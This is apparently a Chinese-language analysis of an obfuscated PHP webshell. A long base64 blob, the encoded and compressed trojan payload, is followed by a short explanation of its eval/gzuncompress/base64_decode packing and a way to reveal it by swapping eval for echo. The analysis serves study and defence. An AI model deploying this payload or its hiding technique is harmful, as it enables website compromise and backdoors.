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&)))
& 该php木马加密原理,首先使用了。
&& base64_encode()
gzcompress()两函数对代码进行加密处理。
之后嵌套了两个函数gzuncompress(),base64_decode();
在eval进行执行。
函数作用:
base64_encode()函数作用于对数据进行编码。
gzcompress()函数作用于对数据进行压缩处理
eval()函数作用于字符串按照php代码来执行。
gzuncompress()函数作用于解压缩,将压缩的字符串进行解压缩处理。
base64_decode()函数作用于将字符串进行base64进行解码。
解密原理。
&尽管目测是密文状态,但当脚本代码执行时,gzuncompress(),base64_decode();函数会把密文代码给解密,然后eval()函数进行php执行操作。
此时把eval() 函数 改成echo()函数,对代码进行输出而不是执行。那么代码就会显示出来了。
小问题:其中的html代码依然会被执行alert之类的。代码已经解密,但是会自动跳转到这个网站上去。(很明显了。这个shell有后门- -!)
个firefox,其中firedeug插件,快捷键开启,F12可以帮助我们截获代码。
参考知识库
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